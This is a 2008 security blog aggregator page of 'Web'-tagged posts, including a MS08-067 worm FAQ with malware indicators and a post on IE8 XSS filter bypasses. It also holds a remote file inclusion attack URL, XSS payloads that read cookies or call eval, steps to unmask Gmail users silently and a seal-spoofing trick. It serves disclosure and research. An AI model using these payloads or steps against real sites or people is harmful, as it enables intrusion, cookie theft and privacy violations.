My Security Planet » Tags

67 items tagged "Web"

Related tags: Sec [+], App [+], Application [+], the [+], Problem [+], Scanners [+], Firewalls [+], 2.0 [+], Security [+]

SecuriTeam Blogs

My Baby’s Birth

Posted: November 12th, 2008, 12:19pm CST by noam

Tags: Web [edit]

You are probably reading this post, saying why does he even let me know, so I will start by saying that my boy had is birthday a few months ago, so this post isn’t about him, its completely unrelated.

It has to do with this site: http://babycaleb.fort unecity.co.uk/ (I broke the link so people do not JUST jump and go to it)

This site isn’t mine, it was used to hack a friend’s web site, so I took to myself to look into it.

This site hosts a few pictures, some are quite weird to put online (hint to: My Wifes Scar), while others are completely harmless (hint to: My baby).

The issue is not in the pictures but rather what is there and cannot be seen without doing a bit of digging.

I will give some more hints in a follow-up post, if no one else comes up with what does this site do to you.

(Another hint, the site of my friend was hacked using this link: /clock.php?arg_tmirror=http://babycaleb.fortu necity.co.uk/index.htm)

-

Is your site safe from SQL Injection? Website Security Audit is the way to protect your network!
Sinowal Trojan - difficult to catch since Feb 2006

Posted: November 4th, 2008, 7:43am CST by Juha-Matti

Tags: Web [edit]

RSA Security’s Blog has information about the seriousness of the Sinowal banking Trojan.

Like many of us know this Trojan aka Trojan-PSW:W32/Sinowal.CP and Trojan.Mebroo uses so-called MBR rootkit technique.

Link here.

-

Is your site safe from SQL Injection attacks? Use an SQL Injection Scanner on a daily basis to protect your network!
The victims of RPC Trojan Gimmiv were XP boxes in Asia

Posted: October 31st, 2008, 6:45am CDT by Juha-Matti

Tags: Web [edit]

The RPC Worm Victim List has a list [.txt] of hundreds machines and they are mainly Windows XP machines (MSIE 6.0 or MSIE7.0; Windows NT 5.1 in browser’s user agent).

I made a script to generate WHOIS queries and the results say that the victim machines are located mainly in Australia, China, Philippines, India, Japan, Korea, Malta, Malaysia, Taiwan, and Vietnam. There are only some machines in France, UK, and USA.

It’s very interesting that there is an IP from Microsoft too - a Wget machine with IP address 64.147.0.80. The Wget version is 1.10.2.

Whois Record

OrgName: Microsoft Corp
OrgID: MSFT
Address: One Microsoft Way
City: Redmond
StateProv: WA
PostalCode: 98052
Country: US

NetRange: 131.107.0.0 - 131.107.255.255
CIDR: 131.107.0.0/16
NetName: MICROSOFT

There are several Wget UA’s included, one with the version number Wget/1.8.2 too.

I recommend that Redmon guys patch that machine ASAP

-

Make your website safer. Use an external vulnerability scanner. Nothing to install, zero maintenance!
Microsoft Windows RPC Vulnerability MS08-067 (CVE-2008-4250) FAQ - October 2008

Posted: October 25th, 2008, 3:56pm CDT by Juha-Matti

Tags: Web [edit]

Summary:
This is Frequently Asked Questions document about new, recently patched RPC vulnerability in Microsoft Windows. The document describes related Trojan and worm malware as well.
It is worth of noticing that code execution type vulnerabilities in Office programs are widely used to industrial espionage since 2006. This time the exploitation represents the use of non-Office vulnerabilities and e-mail attack vector is not used.

Update: After the weekend the malware analyses shows that the Trojan has designed to steal credential information and to collect a botnet-like network.

Q: What is the recent Microsoft Window RPC vulnerability disclosed in October?
A: This vulnerability is caused by an error when processing malformed RPC (Remote Procedure Call) requests. The issue was disclosed by the vendor after active exploitation of the vulnerability.
Q: How does the vulnerability mentioned works?
A: The vulnerability is code execution type vulnerability. Attacker successfully exploiting this vulnerability can run code of his or hers choice in the affected machine.
This vulnerability is caused due to overflow when handling malformed RPC requests. This enables executing arbitrary code of the attacker. Technically the vulnerability exists in the Server service.

Q: When this vulnerability was found?
A: The exact information is not available. Information about upcoming security update was announced on 22nd October, but this vulnerability has been used in targeted attacks at least two weeks already. The exploitation disclosed the existence of vulnerability.

Q: What is the mechanism in exploitation?
A: Information was not disclosed, but during the exploitation malicious executables are being downloaded and executed from the remote Web site.

Q: Is the exploit code of this vulnerability publicly released?
A: Yes. On Friday 24th October the proof of concept code was released on a blog of security researcher and on public, moderated security mailing list. The PoC has been released at several well-known exploit and security community Web sites too. Metasploit module has been released too (link). PoC’s work against Windows XP SP2, Windows XP SP3 and Windows 2003 Server SP2 machines.

Q: Which Windows versions are affected?
A: Microsoft Windows 2000, Windows XP, Windows Vista, Windows 2003 Server and Windows Server 2008 systems are affected.

Q: I am using the 7 Pre-Beta version of Windows, is my operating system affected?
A: According to the Microsoft it is affected too. An update is available (see MS08-067).

Q: I am a home user, is it possible to update my system in a normal way via Microsoft Update?
A: Yes, visiting the Microsoft Update Web site at [update.microsoft.com] will update the system against the exploitation of the vulnerability. If the Automatic Updates is enabled the system will be updated automatically without user’s actions.

Q: Where are the official Microsoft documents related to this case located?
A: The official Security Bulletin MS08-067, entitled Vulnerability in Server Service Could Allow Remote Code Execution (958644) has been released at Microsoft TechNet Security section:
www.microsoft.com/technet/security/Bulletin/MS08-067.mspx
Updated information released by the vendor has been covered at MSRC Blog (The Microsoft Security Response Center Blog). The address of the blog is blogs.technet.com/msrc/.
File information of the MS08-067 security update has been released at separate Knowledge Base document #958644: support.microsoft.com/kb/958644.
Microsoft Security Advisory #958963 released to notify the availability of the security update is located at
www.microsoft.com/technet/security/advisory/958963.mspx

Q: What the term ‘out-of-band’ means?
A: Normally Microsoft releases security updates once a month, at the second Tuesday of the every month. Very rarely, during the Windows ANI vulnerability etc. the security update will come out outside of this regular update cycle. Out-of-band and out-of-cycle describe the situation when waiting the regular update Tuesday, so-called Patch Tuesday is not enough to protect Windows systems against exploitation.
The next security updates will be released on Tuesday 11th November.

Update:
Q: Is this a new Slammer worm?
A: No, due to new security features included to SP2 etc. However, on 3rd Nov it was reported about the worm exploiting this vulnerability.

Q: Are there any workarounds available? Our organization is making tests with the patch still.
A: The security bulletin lists the following workarounds:
-Disable the Server and Computer Browser services
-Block TCP ports 139 and 445 at the firewall

Q: Is there Snort rules for this vulnerability available?
A: Yes. Additional details can be obtained at
www.snort.org/vrt/advisories/vrt-rules-2008-10-23.html
known as a ruleset against Microsoft DCE/RPC remote code execution attempts.
The download address is www.snort.org/pub-bin/downloads.cgi
(to paying Sourcefire customers)
Emerging Threats project has released new signatures too, details at
http://www.emergingthreats.net/index.php/component/content/article/17-sigs/125-weekly-new-signatures-october-25-2008.html

Q: What is the situation of Nessus plugins related to this vulnerability?
A: Nessus Plugin ID #34476 has been released. More information is available at
www.nessus.org/plugins/index.php?view=single&id=34476

Q: What are the target organizations etc. of this vulnerability?
A: This information is not available and probably it will never go public. Microsoft has confirmed that fever than 100 organizations are targeted in targeted attacks.

Q: Is there information about file sizes used during the attacks?
A: Yes. The size is 397,312 bytes.
Update: The size can be anything between 49,152 and 417,792 bytes.

Q: How the user can notify the infection?
A: It is reported that the command prompt will appear.

Q: What are the names of malwares exploiting this vulnerability?
A: There are reports about a data collecting Trojan (Gimmiv.A) and a Trojan searching for non-patched machines on LAN (Arpoc.A).

The following names are being used (listed in alphabetical order):
AhnLab - Dropper/Gimmiv.397312 since 2008.10.24.04
Authentium - W32/Gimmiv.A since 23rd Oct
Avira - TR/Dldr.Agent.gcx since 24th Oct, iVDF 7.00.07.81
Bitdefender - Win32.Worm.Gimmiv.A since since 23rd Oct
- dropper detected as Win32.Worm.Gimmiv.B
CA - Win32/Gimmiv.A since eTrust 31.6.6167
ClamAV - Trojan.Gimmiv since 8524
- Trojan.Gimmiv-1…Trojan.Gimmiv-7 since 8526
Dr.Web - DLOADER.PWS.Trojan since 23rd Oct
Eset - Win32/Gimmiv.A since 24th Oct, v.3551
- Win32/Spy.Gimmiv, Win32/Spy.Gimmiv.A since v.3553
- Win32/Spy.Gimmiv.B since v.3555
Fortinet - W32/Gimmiv.A!tr.spy
- name change: W32/Gimmiv.A!worm since 9.676
F-Secure - Trojan-Spy:W32/Gimmiv.A since 2008-10-24_01
- Trojan-Spy:W32/Gimmiv.B since 2008-10-24_05
- Trojan-Spy:W32/Gimmiv.C, D, E, F variants since 2008-10-24_08
- Net-Worm.Win32.Gimmiv.a since 25th Oct 2008-10-25_01
McAfee - PWS.y!C91DA1B9 since DAT5413
- Spy-Agent.da since 23rd Oct, DAT5414, its DLL component detected as Spy-Agent.da.dll
Microsoft - TrojanSpy:Win32/Gimmiv.A[.dll] since 23rd Oct
- since 24th Oct update 1.4005 included signatures
- exploit: Exploit:Win32/MS08067.gen!A
Kaspersky - Trojan-Downloader.Win32.Agent.alce since 24th Oct, 7.0.0.125
Panda Security – detected as ‘Suspicious file’ since 23rd Oct, 9.0.0.4
- Gimmiv.A since 24th Oct
PCTools - Trojan-Spy.Gimmiv.A
Prevx - detected as ‘Cloaked Malware‘
Rising - Trojan.Spy.Win32.Undef.z since 23rd Oct, 21.00.32.00
Sophos - Sus/Dropper-A since 21st Aug (based to heuristic techniques)
- additionally Troj/Gimmiv-A, IDEs since 4.34.0,
- Troj/Gimmiv-Gen since 4th Nov
Symantec - Infostealer since 23rd Oct
- name change: Trojan.Gimmiv.A since 24th Oct, rev. 024
- malicious files detected as Bloodhound.Exploit.212
Trend Micro - WORM_GIMMIV.A since 5.617.00
- TSPY_GIMMIV.A since 5.617.00

where ’2008.10.24.04’ states that these virus signatures or newer include a protection for the malware.

Alias names CVE-2008-4250, W32.Slugin.A and W32/NetAPI32.RPC!exploit.M20084250 are in use too.

Update: Added Arpoc section:
BitDefender - Win32.Worm.Gimmiv.B
CA - Win32/Gimmiv.B since 31.6.6172
Dr.Web - Win32.HLLW.Jimmy.3 since unknown signatures
McAfee - Spy-Agent.da since DAT5414, its DLL component detected as Spy-Agent.da.dll

Update: Added RPC worm section:
AntiVir - TR/Expl.MS08-067.G
BitDefender - Trojan.Downloader.Shelcod.A
ClamAV - Exploit.MS08-067 since 8566
Eset - Win32/Exploit.MS08-067.B, C and D since 3576
F-Secure - worm component as Exploit.Win32.MS08-067.g
- kernel component as Rootkit.Win32.KernelBot.dg
Ikarus - Virus.Exploit.Win32.MS08.067.g
Kaspersky - Exploit.Win32.MS08-067.g since 31th Oct
McAfee - kernel component as KerBot!37E73FFB since DAT5422
Microsoft - Exploit:Win32/MS08067.gen!A
- Trojan:Win32/Wecorl.A
- Trojan:Win32/Wecorl.B
Norman - kernel component as w32/agent.jbvo
Prevx - Worm.KernelBot
Sophos - Mal/Generic-A
- Exp/MS08067-A since 4th Nov
Symantec - W32.Wecorl since 3rd Nov (latest daily certified version) rev. 052
- W32.Kernelbot.A since 3rd Nov (latest daily certified version) rev. 041
Trend Micro - WORM_KERBOT.A since 5.637.00
- WORM_WECORL.A since 5.640.05

Q: What kind of payload this Trojan horse has?
A: This is what the Trojan gathers (according to Microsoft’s document):
*User Name
*Computer Name
*Network Adapters / IP Addresses
*Installed com objects
*Installed programs and installed patches
*Recently opened documents
*Outlook Express and MSN Messenger credentials
*Protected Storage credentials

Q: What kind of Trojan has attacked to the targeted organizations?
A: It is a very sophisticated and dangerous Trojan. It encrypts the data with AES and deletes itself after its operations. Before sending the gathered data to the attacker it reports the AV software of the installation (from HKEY_LOCAL_MACHINESOFTWARE) as a parameter (BitDefender, Jiangmin, Kingsoft, Kaspersky, Microsoft OneCare, Rising and Trend Micro).

Q: Are there any changes to Windows registry or the file system made by this malware?
A: The following registry key is being modified:
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicessysmgr
The display name of the service being generated is System Maintenance Service.
The malicious files are being copied to System32wbem folder including basesvc.dll, syicon.dll, winbase.dll and winbaseInst.exe. NOTE: After being executed the Trojan deletes these files and itself.
Update: According to Arbor Networks the file C:Documents and SettingsLocalServiceLocal SettingsTemporary Internet Filesmacnabi.log is being dropped too.

Q: Now I know that my anti-virus software can report computers in my organizations as clean because the Trojan has deleted itself from the system. What are the malicious executables that I can search them and examine logs etc.?
A: There are several names and all of the files has same size mentioned earlier, i.e. 397,312 bytes.
Update: According to McAfee the size varies from 49,152 to 417,792 bytes.

The most common file name is N2.exe. However, file names Nx.exe are widely spreading as well; [x] represents a number from 1 through 9.
The MD5 hash of the one specific N2.exe file in the wild on 23rd Oct is f173007fbd8e2190af3be7837acd70a4.
Update: To list one more the MD5 hash of n5.exe is 24cd978da62cff8370b83c26e134ff4c.

Prevx database knows the following file names too:
15197927.EXE, 00003106.EXE, NVIR/N2.EXE, 18912604.EXE, 54800477.DAT
The format of the file can be NVIR/N3.EXE etc. too.

Q: What type of network connections these malware make?
A: Gimmiv.A sends an ICMP Echo Request packet to multiple IP addresses including the string ”abcde12345fghij6789”.

Q: How can I recognize malicious files spreading RPC worm (Exploit.Win32.MS08-067.g)?
A: The files names reported in the wild are 6767.exe and KernekDbg.exe.

Q: What is the size of these files?
A: The size are various, but many of them are 16,384 bytes long.

Q: What kind of network connections the worm makes and are there any modifications made to Windows registry?
A: It connects to robot.10wrj.com, ls.cc86.info, ls.lenovowireless.net and ls.playswomen.com. Yes, the worm will add the new value to HKLMSOFTWARELicenses and HKLMSOFTWAREGoogle.

Q: Are there any changes to Windows HOSTS file?
A: Yes, the lines
127.0.0.1 dnl-cn1.kaspersky-labs.com
127.0.0.1 alert.rising.com.cn
127.0.0.1 www.mcafee.com
will be added yo the HOSTS file.

Q: Is there CVE name available to this issue?
A: Yes. The Common Vulnerabilities and Exposures project (cve.mitre.org) has released the following CVE candidate CVE-2008-4250:
cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250

Q: What is the CVSS severity of this vulnerability?
A: The CVSS (Common Vulnerability Scoring System) score is 10.0 (High).

Q: Is there a CWE class assigned?
A: The CWE (Common Weakness Enumeration) ID of the vulnerability, in turn, is #119, i.e. Failure to Constrain Operations within the Bounds of an Allocated Memory Buffer class:
cwe.mitre.org/data/definitions/119.html

Q: Is there a CME name available?
A: No. The Common Malware Enumeration (CME) project has not assigned an identifier for these malware.

Q: When exploiting this RPC vulnerability is the authentication needed?
A: On Windows 2000, XP, and Windows Server 2003 systems arbitrary code can be run without authentication. On Vista systems the authentication is needed.

Q: What is the vulnerable component?
A: It is netapi32.dll (Net Win32 API DLL). On Windows 2000 SP4 the non-affected version is 5.0.2195.7203, on Windows XP SP3 5.1.2600.5694 and on Vista SP1 there are several 6.0.6000.xxxx versions, see KB958644 for details. The vulnerable Windows API call is NetPathCanonicalize(), in turn.
Secunia has renamed its vulnerability advisory to Windows Path canonicalisation vulnerability. It states that processing directory traversal character sequences in path names enables to send drafted RPC requests to the Server Service.

(c) Juha-Matti Laurio, Finland (UTC +2hrs)
The author has released several Microsoft Office 0-day vulnerability FAQ documents, e.g.
blogs.securiteam.com/index.php/archives/759
and Windows Vector Markup Language vulnerability FAQ’s
blogs.securiteam.com/index.php/archives/640
since 2006.

Revision History:
1.0 25-10-2008 Initial release
1.1 26-10-2008 Updated document and some minor fixes
1.2 26-10-2008 Major updates to Trojan section, added credits, information of non-affected dll versions and Snort rule reference
1.3 27-10-2008 Added information about the various file names and sizes, a separate Arpoc section and Nessus plugin reference and [UPDATED] to the title
1.4 27-10-2008 Several virus description release dates and ID’s added, updated the summary to clarify the characteristics of the exploitation
1.5 28-10-2008 Added Microsoft Security Advisory #958963 link
1.6 29-10-2008 Added names to Arpoc Trojan section
1.7 03-11-2008 Updated the exploit/PoC section and added information about the worm exploiting the vulnerability
1.8 04-11-2008 Added names to RPC worm section, updated the summary
1.9 05-11-2008 Added information about Windows HOSTS file modification and new worm names

Credits: Microsoft, AV vendors, Prevx Malware Center

-

Is your site safe from SQL Injection attacks? Use an SQL Injection Scanner on a daily basis to protect your network!

Ian Bicking: a blog

Hypertext-driven URLs

Posted: October 24th, 2008, 1:03pm CDT by Ian Bicking

Tags: Web [edit]
Roy T. Fielding, author of the REST thesis wrote an article recently: REST APIs must be hypertext-driven. I liked this article, it fit with an intuition I’ve had. Then he wrote an article explaining that he wouldn’t really explain the other articles because, I guess, he wanted a conversation with the specialists, and it seems like a kind of invitation to reinterpret his writing. So since others are doing it I figured I’d do it too.

I’d summarize his argument thus:
- Focus on media types, i.e., resource formats, i.e., document formats. The protocol will flow from these if they are well specified.
- URL structures are not a media type. They are some kind of server layout. You can’t hold them, you can’t pass them around, there is no notion of CRUD. Media types have all sorts of advantages that URL structures do not.
An example of a protocol based on a URL structure would be something like:
- Do GET /articles/ to get a JSON list of all the article ids, with a response like [1, 2, 3]
- Do a GET /articles/{id} to get the representation of a specific article.
JSON is a reasonable structure for a media type. It is not itself a fully explained type, because it’s just a container for data, just like XML. In this example you have a document, [1, 2, 3] which isn’t self-describing and just isn’t very useful. A more appropriate protocol would be:
- You start with a container, in our example /articles/. Do GET /articles/ to get a JSON document listing the URLs of all the articles. These URLs are relative to the container URL. You’ll get a response like [’./1′, ‘./2′, ‘./3′] (actually [’1′, ‘2′, ‘3′] would be fine too).
- Do GET {article-url} to get the article representation.
It’s a small difference. Heck, the communication could look identical in practice, but by putting URLs in the JSON document instead of this abstract "id" notion you’ve created a more flexible and self-describing system. You could probably give a name to that list of URLs, and then just talk about that name.

An example in Atompub is rel="edit". An Atom entry can look like:
```
<entry>...
  <link rel="edit" href="/post/15" />
</entry>
```
Instead of the client just somehow knowing where to go to edit an entry, it’s made explicit. Thus you can move the entry around, while still pointing back to the canonical location to edit that entry.

There’s nothing really that complicated about this, the rule is really quite simple: link to other things, don’t just expect the client to know or guess where those other things are.

For a more concrete example of where this linking works well, OpenID uses <link rel="openid.server" href="…"> and <link rel="openid.delegate" href="…">, which allows you to add a little information to any HTML homepage so that the login can happen at a third location. If OpenID used something like looking at {homepage}/openid for a OpenID server then you couldn’t select whatever OpenID service you liked, or change services, or apply OpenID to hosted locations where you couldn’t install an OpenID server.

I’ll add my own little opinion in here: this is why the URL structure of applications doesn’t affect their RESTfulness, nor is URL structure all that important of a concern generally. Pretty URL structures are a nice thing to do, like indenting your code in a pleasant way, but it has nothing to do with your API, and if you can’t use a crappy URL structure with that same API then probably something is wrong with that API.

SecuriTeam Blogs

Google: we will share your name with anyone who asks us for it

Posted: September 18th, 2008, 3:36pm CDT by Aviram

Tags: Web [edit]

Here’s what happens when you try to bury a security vulnerability by fixing it silently and not telling anyone: all other similar vulnerabilities remain unfixed.

When I started a challenge yesterday to find a different way to find the full name behind a user’s gmail address I had a specific method in mind – a weakness in google docs that shows the full name of a person when you share a document (description and screen shots below). But it appears this problem is more widespread – it affects google maps, and perhaps other apps as well (there seems to be a difference between various localized versions of the google applications, so YMMV). Andre claims that he’d known about this for 2.5 years ago, and I wonder who else have known (spammers using this method to personalize the mails sent to gmail addresses?). All of this could have been prevented if google came out with a simple advisory explaining the problem and their stand on it. If they really wanted to fix it (and not just silence the press about the previous problem) people would have notified them about the other problems so that they can address them. Instead, they sent a PR drone to deny this is really a problem, while a programmer patched it without giving thought to the other google applications.

I’d be happy to hear from anyone on google’s security or development team – I promise to post their response verbatim and I’m curious to hear what they have to say. Notice, however, that I couldn’t care less about their PR response. If your position in google is marketing, don’t bother replying – this is a security issue and not a marketing issue – it’s time google addresses it for what it is.

And for those who were patient enough to go through my rant, here’s a step-by-step explanation provided by Vincent Claeys on how to reveal the real name behind the gmail address. Kudos to Naftali Shpitzer, Vincent Claeys and Andre Gironda for finding the way (and other ways I haven’t thought of…) to solve the problem.

1. Log in to your gmail account
2. Click documents on the left top
3. Create a presentation, save it, close it
4. In the list with presentations, select the presentation you just made
5. Click the “share” button
6. Type in the e-mail address of which you want to find out the real name
7. Click “invite” (I always use “as viewers”, but “as collaborators”
will work as well I guess)

8. Click “skip sending invitation”

9. Click “ok” in the warning window
10. Click on the presentation to open it (a new window will open)
11. Click on the “share” tab on the right top corner
12. Read the real name of the person you invited

13. Remove the invited person from the list again so he doesn’t notice
anything when he logs into his gmail account

-

Is your site safe from SQL Injection attacks? Use an SQL Injection Scanner on a daily basis to protect your network!

Watchfire Application Security Insider

Blackbox vs. Whitebox - OWASP IL Presentation

Posted: September 18th, 2008, 1:59am CDT by Ory Segal

Tags: Web Application Scanners [edit]

Adi Sharabani and Yinnon Haviv, both from IBM Rational Application Security, gave a very interesting presentation on the subject of Blackbox and Whitebox application security scanners, at the recent OWASP IL conference that took place last week.

Since our team is working on both technologies, we believe that we can provide an unbiased and thorough overview of the difference between both scanning approaches, and also to point out how they complement each other.

You can view the presentation here, or download it from the OWASP IL conference site (will soon be uploaded).

We will soon upload another OWASP IL presentation given by our own Ronen Bachar, which talks about the challenges and solutions for automated Flash/Flex application security testing, so stay tuned!

SecuriTeam Blogs

How to find the real name behind the gmail address, round 2

Posted: September 17th, 2008, 12:26pm CDT by Aviram

Tags: Web [edit]

As you can see from the comments in my previous post, google has fixed the google calendar problem that allowed gmail users to see other users’ full names. Obviously, many people are disappointed – that’s the downside of web services: once a vulnerability is fixed, it’s fixed for everyone, immediately

But Yair, SEO expert by day and curious individual by night, told me about a different way to do the attack. This attack works on both gmail and google app users, and is completely stealth – unlike the google calendar attack that notifies the victim, this one can be conducted without them knowing.

So what should I do with this information? Contacting the google security team is like typing Shakespeare into /dev/null, as anyone who ever tried to report a security vulnerability to google probably knows – it’s amazing to see the difference between the hostile google security team and the Microsoft security team who is trying hard (sometimes a little too hard) to be researcher friendly. So contacting google security is pretty much not an option.

The other ‘default’ option is to go full disclosure. But in this case, disclosing a bug in google will result in them claiming the bug is actually a feature, and then fixing it silently without any acknowledgment while chanting softly: “There was no bug. These aren’t the droids you’re looking for. Move along”. None of you will get a chance to test it, because by the time you do the problem would be fixed and we have never been at war with Eurasia.

So how do I give the smart readers a chance to try it out without alerting the world media? Simple: I will give you a chance to try it out before I disclose it. A smart and energetic researcher should be able to find this bug based on the hints in this page. You might even find holes different then what Yair did. This should be fun…

To give the proper incentive, if you find the hole, try to get the full name of the gmail email metalolcats@gmail.com. Use the full name as a coupon code to get a free account on our vulnerability scanning service to scan your server from the Internet on an ongoing basis. Just sign up here and use the real name of the gmail user above as the coupon code. If you don’t have a server to scan for vulnerabilities or don’t feel like signing up, send me the answer to aviram at beyondsecurity.com and I will mention you on this page. But be quick, the google QA team may find it before you. When enough people find it, or google fixes it, I’ll publish the way along with some screenshots. That is, if the truth ministry doesn’t get to me first.

Oh, and the question you are all dying to ask – admin@gmail.com is no longer ’smart ass’. It’s now just boring old “Admin”, but then again it always has been.

-

Expose the security holes in your products during development. Black Box Testing makes it safer!
APWG: Number of phishing sites has decreased - crimeware is here to stay

Posted: September 9th, 2008, 3:40pm CDT by Juha-Matti

Tags: Web [edit]

First time in the history of Anti-Phishing Working Group (aka APWG) the number of phishing reports received and new phishing sites discovered decreased at the end of period (i.e. Mar ‘08).

But don’t say “We won the race - at last” yet. The number of crimeware-spreading URLs rose to a new record.
Nothing special when digging the statistics of top hosting countries - U.S., China, Russia, etc. But hey, France is listed too.

And link to the recently released Q1 Phishing Trends Report (pdf) here.

-

Make your website safer. Use an external vulnerability scanner. Nothing to install, zero maintenance!

Alex's Corner

IE8 XSS Filter

Posted: September 4th, 2008, 11:37am CDT by kuza55

Tags: Web App Sec [edit]

IE8 came out recently and a bunch of people have already commented about the limitations of the XSS Filter.

But there are a few more issues that need to be looked at. First of all, if anyone hasn't already done so, I recommend reading this post by David Ross on the architecture/implementation of the XSS Filter.

After talking Cesar Cerrudo, it became clear that we both came to the conclusion that the easiest way to have a generic bypass technique for the filter would be to attack the same-site check, and we both came to the conclusion that, if we can somehow force the user to navigate from a page on the site we want to attack to our xss, then we've bypassed the filter.

If the site is a forum, or a blog, then this becomes trivial as we're allowed to post links, however even if we cannot normally post links this is still trivial as we can inject links in our XSS as the XSS Filter doesn't stop HTML Injection, in any case read this for more details.

However, this is not the only way to force a client-side navigation. One particular issue (which is normally not considered much of a vulnerability, unless it allows xss vulns) is when an application lets users control the contents of a frame, this is often seen in the help sections of web apps. However navigation caused by an iframe seems to be considered somehow user-initiated (or something) and the same-site check is applied so that if we point a frame on a site to an xss exploit, the xss exploit will trigger.

Initially I had thought this would extend to JavaScript based redirects of the form:
document.location = "http://www.site.com/user_input";
or in the form of frame-breaking code, however this does not seem to be the case. IE attempts to determine whether a redirect was user-initiated or not and if it decides it is not user-initiated then it does not apply the same-site check and simply initiates the XSS Filter, though as with the popup blocker before it has some difficulty being correct 100% of the time, e.g. this counts as a user-initiated navigation:
<a name="x" id="x" href="http://localhost/xss.php?xss=<script>alert(7)</script>">test</a> <script> document.links[0].click(); </script>
However this is probably a very unrealistic issue as we need to vulnerable site to actually let the attacker create such a construct.

Furthermore HTTP Location redirects and Meta Refreshes are also not considered user navigation so filtering is always applied to those, therefore Open Redirects are pretty irrelevant to the XSS Filter.

However, Flash-based redirects do not seem to be considered redirects (which is unsurprising given that IE has no visibility into Flash files) and so any Flash-based redirects can be taken advantage of to bypass the xss filter, though if they require a user to click then it is probably simply easier to just inject a link (as described in Cesar's post)

And that's about all I could think of wrt that check :S

However, if you go read Cesar's post you'll see we now do have a method to generically bypass the IE8 XSS Filter, and it only requires an additional click from the user, anywhere on the page.

In a completely different direction, When I first read the posts that said the XSS filter was going to prevent injections into quoted JavaScript strings, my first thought was "yeah, right, let's see them try", as I had assumed they would attempt to prevent an attacker breaking out of the string, however the filter has signatures to stop the actual payload. Essentially the filter attempts to stop you from calling a JavaScript function and assigning data to sensitive attributes, so all of the following injections are filtered:
"+eval(name)+" ");eval(name+" ";location=name;// ";a.b=c;// ";a[b]=c;//
among a variety of other sensitive attributes, however this does still leave us with some limited scope for an attack that may be possible in reasonably complicated JavaScript.

We are still left with the ability to:
- Reference sensitive variables, which is esnecially useful when injecting into redirects, e.g.
"+document.cookie+"
- Conducting variable assignments to sensitive data, e.g.
";user_input=document.cookie;//
or
";user_input=sensitive_app_specific_var;//
- Make function assignments, e.g. (Note though that you can't seem to assign to some functions e.g. alert=eval doesn't seem to work)
";escape=eval;//

Also, like the meta-tag stripping attack described by the 80sec guys (awesome work btw, go 80sec!), we can strip other pieces of data (which look like xss attacks) such as frame-breaking code, redirects, etc, but note we can't strip single lines of JS as the JS block needs to be syntactically valid for it to start getting executed, so anything potentially active which acts as a security measure beyond the extent of it's own tag can be stripped.

It's also worth noting that XSS Filter doesn't strip all styles, it only strips those that would allow more styles to slip past it and styles which can execute active code (which is pretty much just expression() )

And that's all for me at the moment; if anyone's looking for an interesting area for research, see if the IE8 XSS Filter always plays nice with server-side XSS Filters, who knows, maybe being able to break the context by getting the filter to strip stuff you can get your own html to be rendered in a different context that the server-side filter didn't expect.

P.S. Take this all with a grain of salt, this has been derived through black-box testing, and as such any of the conclusions above are really just educated guesses.

P.P.S Good on David Ross and Microsoft for making a positive move forward that's going to be opt-out. Obviously everyone is going to keep attacking it and finding weaknesses, but even if this only stops the scenario where the injection is right in the body of the page, then it's a huge step forward for webappsec; if this effectively blocks injections into JavaScript strings then ASP.NET apps just got a whole lot more secure.
Though I still think the HTML-injection issue needs to be fixed, because even if it's an additional step, users are going to click around and we're just going to see attackers start utilising HTML injection

P.P.P.S. Don't forget this is based on security zones, so it can be disabled and is by default opt-in for the intranet zone, so all those local zone xss's for web servers on localhost or xss's for intranet apps are going to be largely unaffected

Billy (BK) Rios

IE8b2 XSS Filter

Posted: September 4th, 2008, 1:05am CDT by xssniper

Tags: Web Application Security [edit]

I run a number of different browsers, for various reasons. I was once even called a “browserholic” by a colleague! I pulled down IE8b2 when it went live a week ago. I don’t want to talk about the myriad of security features or browsing features as I think they’ve been covered in detail by many different sources, but I do want to mention one security feature… XSS Filter

XSS Filter was created by David Ross… he’s one of the smartest guys I’ve ever met. In addition to being super smart, there is a certain boldness needed to take the lead in developing Internet Explorer’s built-in defense for the bane of the web. David asked a number of security pros around the world to take a look at XSS Filter and I’m honored to have been asked to help. You can see some of the names of those who participated in XSS-Filter’s creation here.

Thanks David and CONGRATS on the release!

Some technical details with regards to XSS-Filter can be found here.

SecuriTeam Blogs

Security seal? sure have one, don’t bother testing or anything

Posted: September 3rd, 2008, 3:59am CDT by noam

Tags: Web [edit]

GoDaddy has decided to start giving away security seals to web sites. What is this security seal about? Well, it doesn’t say much beside telling you that GoDaddy verified something - what did they verify? It doesn’t say.

How does it work?

You are supposed to put a script tag inside your site, with the source reference of https://seal.godaddy.com/getSeal?sealID=[removed]

This generates HTML code that contains references to:

https://seal.godaddy.com:443/flash/sitesealgd_t_medium.swf?domainName=www.putyournamehere.com&color=000000

Changing the www.putyournamehere.com to www.re-electbush.com, www.mcainwon.com or even obamaisournewleader.com will show that you have been verified by GoDaddy - yeah!

Try it out yourself and see how you can get a godaddy seal with no effort - joy to the world

-

Make your website safe from SQL Injection attacks. Signup for a daily penetration testing to protect your network!
Fedora confirms: Our servers were breached

Posted: August 22nd, 2008, 8:50am CDT by Juha-Matti

Tags: Web [edit]

It is more than week ago when The Fedora Project informed about “important issue” affecting to its infrastructure systems. No additional details were given.
As expected, the claims and rumors started to spread if there was a serious server breach.

The Fedora Project issued a recommendation that users will not download any packages or update their Fedora installations. There was a note to change the Fedora Project passwords (it was not reported widely for some reason) too.

Today, Mr. Paul W. Frields, Fedora Project Leader has posted an announcement about the facts:

One of the compromised Fedora servers was a system used for signing Fedora packages. However, based on our efforts, we have high confidence that the intruder was not able to capture the passphrase used to secure the Fedora package signing key. Based on our review to date, the passphrase was not used during the time of the intrusion on the system and the passphrase is not stored on any of the Fedora servers.

While there is no definitive evidence that the Fedora key has been compromised, because Fedora packages are distributed via multiple third-party mirrors and repositories, we have decided to convert to new Fedora signing keys. This may require affirmative steps from every Fedora system owner or administrator. We will widely and clearly communicate any such steps to help users when available.

The Fedora Project servers are hosted at Red Hat Inc., the employee of Mr. Frields.

This is an interesting detail from hosting history section:

209.132.176.122 - Linux Apache/2.2.3 Red Hat - 19-Aug-2008
209.132.176.122 - Linux Apache/2.2.0 Fedora - 16-Aug-2008
209.132.176.122 - Linux Apache/2.2.3 Red Hat - 19-Aug-2008

-

Make your website safer. Use an external vulnerability scanner. Nothing to install, zero maintenance!
Nokia & Sun: Yes, Nokia S40 J2ME vulnerabilities exist

Posted: August 21st, 2008, 8:17am CDT by Juha-Matti

Tags: Web [edit]

